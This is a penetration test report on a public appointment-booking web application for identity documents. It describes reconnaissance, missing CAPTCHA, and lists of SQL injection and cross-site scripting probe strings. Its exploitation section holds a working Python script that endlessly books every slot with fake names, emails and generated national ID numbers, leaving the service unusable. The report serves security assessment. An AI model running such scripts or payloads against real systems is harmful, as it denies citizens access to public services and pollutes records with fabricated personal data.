IV Furture

Penetration Test
Buletine

Sebastian Voinea
22-7-2018
Table of Contents
Introduction ............................................................................................................................................ 2
Methodology........................................................................................................................................... 2
Attack narrative ...................................................................................................................................... 3
Information gathering ......................................................................................................................... 3
Request analysis .............................................................................................................................. 3
Authentication testing ........................................................................................................................ 5
CAPTCHA ......................................................................................................................................... 5
Bruteforce ....................................................................................................................................... 5
Data validation .................................................................................................................................... 5
Exploitation ......................................................................................................................................... 8
Future work........................................................................................................................................... 10
Introduction

Scope
The Scope of the Penetration Test was limited to the web application found at http://buletine.tk.

Objectives
The Objective of this Penetration Test was to assess and identify vulnerabilities within the tested web
application and report them.

Time-Line
This Penetration Test was performed between 20/07/2018 and 22/07/2018

Rules of engagement
The Penetration Test was performed corresponding to the following rules:

• Social engineering was not allowed.

• Part of my own black box methodology was used.

• The test was carried out from 95.144.74.245

• All testing and reporting was performed within the time-line specified above.

• All testing was performed using widely available open-source tools. The use of commercial
tools was not allowed.

Methodology

Reconnaissance
I attempted to gather as much information as possible about the target using both active and passive
reconnaissance. A passive attack would allow me to gather valuable information without the risk of
detection, as opposed to an active attack which is more intrusive and therefore will leave traces in
audit logs.

Enumeration
Using a selection of fingerprinting tools were used in order to determine the attack surface and the
services operating on it. This information helped design specific tests of this application.

Scanning
Several scanning methods were used during this test, both manual and automated. These methods
were performed in order to discover vulnerabilities within the identified systems.
Attack narrative
Information gathering
Request analysis
To better understand how the application collects and processes data, HTTP request analysis was
performed using a proxy to intercept the requests. The following have been found:

The application collects user selected data and eventually passes it in a JSON format:

While sending various data through, one response revealed the validation regular expression used for
one of the fields:

In addition, another misconfiguration seems reject bookings made for a past date, but not for a future
date that is outside the permitted values presented on the frontend:
Furthermore, another request revealed that the application uses Express and Node.js:

By further intercepting requests, I was able to reveal the inside layout of the admin page:
Lastly, I would also like to mention that requests sent that contain the value “2” for the counterId
parameter, return an error, although no booking is currently made for that slot:

Authentication testing
Although the frontend of the website does not present a membership system that requires
authentication, it does allow user to submit input to create appointment. Therefore, part of this
section does apply to the frontend as well.

CAPTCHA
No implementation of CAPTCHA was found. Because of this, the application is more vulnerable to
DDOS, HTTP flooding and similar attacks that rely on sending multiple packets, or even full requests,
in short time frame.

Bruteforce
Similar to the issue above, the application can be subjected to attacks that have a bruteforce
component.

Data validation
Data validation mostly relies on filtering user input, focusing on special characters that could enable
an attacker form special scripts to produce unintended application behaviour that will result in loss of
confidentiality, integrity or accessibility of data.

To test for data validation issues, multiple requests containing special characters have been sent.

The following are the SQL injection specific payloads sent:

'

"

''

'"

)
 ')

")

");

';

";

%'

%"

%')

%")

'))

"))

")))

Some of these payloads did generate error messages which could mean they are not escaped properly:

The following are the Cross-site scripting specific payloads sent:

'

"

">

/'>

')>

")>

">

'">
 '>

')

")

");

\"+

\");

'>

">

"/>

'>

\"

\'

\";

';

<!-- INJECTX

// INJECTX

/* INJECTX

Some of these payloads did generate error messages which could mean they are not escaped properly:
Exploitation
Using the issues identified above, I was able to write a script in python that will continuously make
appointments by sending HTTP POST requests containing valid random data. I would like to add that
this is a proof of concept script and that it still has minor issues:

Python code:

import requests

import rstr

import arrow

import time

times = ["08:30:00", "08:37:00", "08:44:00", "08:51:00", "08:58:00", "09:05:00", "09:12:00",

"09:19:00", "09:26:00", "09:33:00", "09:40:00", "09:47:00", "09:54:00", "10:01:00", "10:08:00",
"10:15:00", "10:22:00", "10:29:00", "10:36:00", "10:43:00", "10:50:00", "10:57:00", "11:04:00",
"11:11:00", "11:18:00", "11:25:00", "11:32:00", "11:39:00", "11:46:00", "11:53:00", "12:00:00",
"12:07:00", "12:14:00", "12:21:00", "12:28:00", "12:35:00", "12:42:00", "12:49:00", "12:56:00",
"13:03:00", "13:10:00", "13:17:00", "13:24:00", "13:31:00", "13:38:00", "13:45:00", "13:52:00",
"13:59:00", "14:06:00", "14:13:00", "14:20:00", "14:27:00", "14:34:00", "14:41:00", "14:48:00",
"14:55:00", "15:02:00", "15:09:00", "15:16:00", "15:23:00", "15:30:00", "15:37:00", "15:44:00",
"15:51:00", "15:58:00"]

locality = [1]

counterId = [1, 2]

payload = {}

def makeapp ():

for i in range(30):

date = arrow.utcnow()

date = date.shift(days=+2 + i)

for l in locality:

for t in times:

for c in counterId:

name = rstr.xeger('[a-z][a-z][a-z][a-z][a-z][a-z]( )[a-z][a-

z][a-z][a-z][a-z][a-z]')

email = rstr.xeger('\w{5}[a-z][1-99]@gmail[.]com')

cnp = rstr.xeger('^[1-9]\\d{2}(0[1-9]|1[0-2])(0[1-
9]|[12]\\d|3[01])(0[1-9]|[1-4]\\d|5[0-2]|99)(00[1-9]|0[1-9]\\d|[1-9]\\d\\d)\\d$')
 payload = {"date":date.format('YYYY-MM-
DD'),"time":t,"localityId":l,"counterId":c,"name":name,"email":email,"cnp":cnp}

r=
requests.post('http://buletine.tk/api/v1/appointment', json=payload)

time.sleep(0.2)

print(payload)

print(r.text)

while True:

start_time = time.time()

elapsed_time = time.time() - start_time

makeapp()

print(elapsed_time)

time.sleep(1540)

The following screenshots illustrate the results this exploit achieved:

The first screenshot shows an invalid date error where the next available slot should have been
displayed, while the second screenshot shows all the slots for a specific day being filled. By doing so,
the application is completely unusable.

In addition, even if the appointments are not confirmed within 40 minutes, when they become
available again, the script reruns and fills them.

An SQL injection exploitation was also attempted. Although not successful, the tool used did return
positive results:

Judging by the results presented above, this would be a false positive. Even so, further investigation
in the matter is necessary.

Future work
As some issues were found and exploited, a full grey box penetration test is recommended to further
investigate the application and make proper mitigation recommendations, especially since other areas
of the application, such as the login page at http://buletine.tk/#/login was not analysed.

Furthermore, no component vulnerabilities were tested, although the components have been
identified. Component testing is also highly recommended as most vulnerabilities result due to
security misconfigurations within these components.